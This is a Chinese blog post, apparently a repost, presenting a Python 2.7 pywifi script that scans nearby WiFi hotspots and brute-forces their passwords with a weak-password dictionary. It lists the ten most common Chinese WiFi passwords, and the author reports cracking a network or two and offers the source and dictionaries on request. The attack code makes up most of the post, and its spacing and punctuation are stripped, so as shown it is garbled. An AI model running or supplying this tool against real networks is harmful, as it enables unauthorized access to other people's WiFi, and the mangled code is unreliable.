「短暫」的春節(jié)假期已經結束了,想必今天大家都已經開工了。新的一年,一起繼續(xù)學習 Python,雞年雄起~~
本文僅供大家參考,不要濫用哦。
原文:https://my.oschina.net/Apathy/blog/821039
python 2.7
湊合的 linux
差不多的無線網卡
pywifi模塊
弱口令字典
清除系統(tǒng)中的任何 wifi 連接記錄 \ (非常重要 \ ! \ ! \ ! \ )
首先,這個模塊在 win 下有點雞肋,作者在調用 WLANAPI 時沒有做好 WLANSECURITYATTRIBUTES 的封裝,所以推薦在 linux 下跑,我測試所使用的是 Kali 2.0 自帶 python 2.7.6 ,可直接通過 pip install pywifi 安裝。
這里用的模塊就這三個。pywifi 的 wifiutillinux.py 腳本的 sendcmdtowpas 方法中的 if reply != b'OK\n':判斷需要修改,不然會有很多的提示信息。
frompywifiimport*
importtime
importsys
效率很重要,畢竟這東西跑起來可真慢,下面是天朝用的比較多的 wifi 弱口令 TOP 10:
12345678
123456789
88888888
1234567890
00000000
87654321
66668888
11223344
147258369
11111111
推薦掃描時常可以設置在15-20秒之間。測試時常則可以自定義,考慮到認證速度于距離的關系,我一般設置在15左右,再久的也沒意義。到時候就算破解成功的熱點,信號也好不到哪里
defmain:
#掃描時常
scantimes=3
#單個密碼測試延遲
testtimes=15
output=sys.stdout
#結果文件保存路徑
files='TestRes.txt'
#字典列表
keys=open(sys.argv[1],'r').readlines
print'|KEYS %s'%(len(keys))
#實例化一個pywifi對象
wifi=PyWiFi
#選擇定一個網卡并賦值于iface
iface=wifi.interfaces[0]
#通過iface進行一個時常為scantimes的掃描并獲取附近的熱點基礎配置
scanres=scans(ifacescantimes)
#統(tǒng)計附近被發(fā)現(xiàn)的熱點數(shù)量
nums=len(scanres)
print'|SCAN GET %s'%(nums)
print'%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s'%('-'*706'WIFIID'18'SSID OR BSSID'2'N'4'time'7'signal'10'KEYNUM'10'KEY''='*70)
#將每一個熱點信息逐一進行測試
forixinenumerate(scanres):
#測試完畢后,成功的結果講存儲到files中
res=test(nums-iifacexkeysoutputtesttimes)
ifres:
open(files'a').write(res)
defscans(facetimeout):
#開始掃描
face.scan
time.sleep(timeout)
#在若干秒后獲取掃描結果
returnface.scan_results
這里后續(xù)推薦將掃描過程數(shù)據入庫,防止重復掃描,且更加直觀。
deftest(ifacexkeystuts):
#顯示對應網絡名稱,考慮到部分中文名嘖顯示bssid
showID=x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid
#迭代字典并進行爆破
fornkinenumerate(key):
x.key=k.strip
#移除所有熱點配置
face.remove_all_network_profiles
#講封裝好的目標嘗試連接
face.connect(face.add_network_profile(x))
#初始化狀態(tài)碼,考慮到用0會發(fā)生些邏輯錯誤
code=10
t1=time.time
#循環(huán)刷新狀態(tài),如果置為0則密碼錯誤,如超時則進行下一個
whilecode!=0:
time.sleep(0.1)
code=face.status
now=time.time-t1
ifnowts:
break
stu.write('\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s'%(6i18showIDcode5now7x.signal10len(key)-n10k.replace('\n''')))
stu.flush
ifcode==4:
face.disconnect
return'%-*s| %s | %*s |%*s\n'%(20x.ssidx.bssid3x.signal15k)
returnFalse
這里顯示本次測試使用了11個弱口令,并掃描到了20個熱點,然后開始坑爹的跑起來了
_ * WIFIID * _ 熱點的 id 號 每跑一個會減1
_ * SSID OR BSSID * _ 熱點的 ssid 名或 mac 地址
_ * N * _ 對熱點的連接狀態(tài),這個在
* _time_ * 當前所花去的時間
* _signal_ * 熱點的信號強度,若小越好
* _KEYNUM_ * 測試密碼的 id 每跑一個會減1
* _KEY_ * 當前測試的密碼
結果還不錯,各位的安全意識不像以前那么蛋疼了,掃出一兩個,其中一個還是自家的 - -
后臺回復關鍵詞 wifi,即可獲取相關字典、源碼和模塊的分享鏈接。
題圖:pexels,CC0 授權。
聯(lián)系客服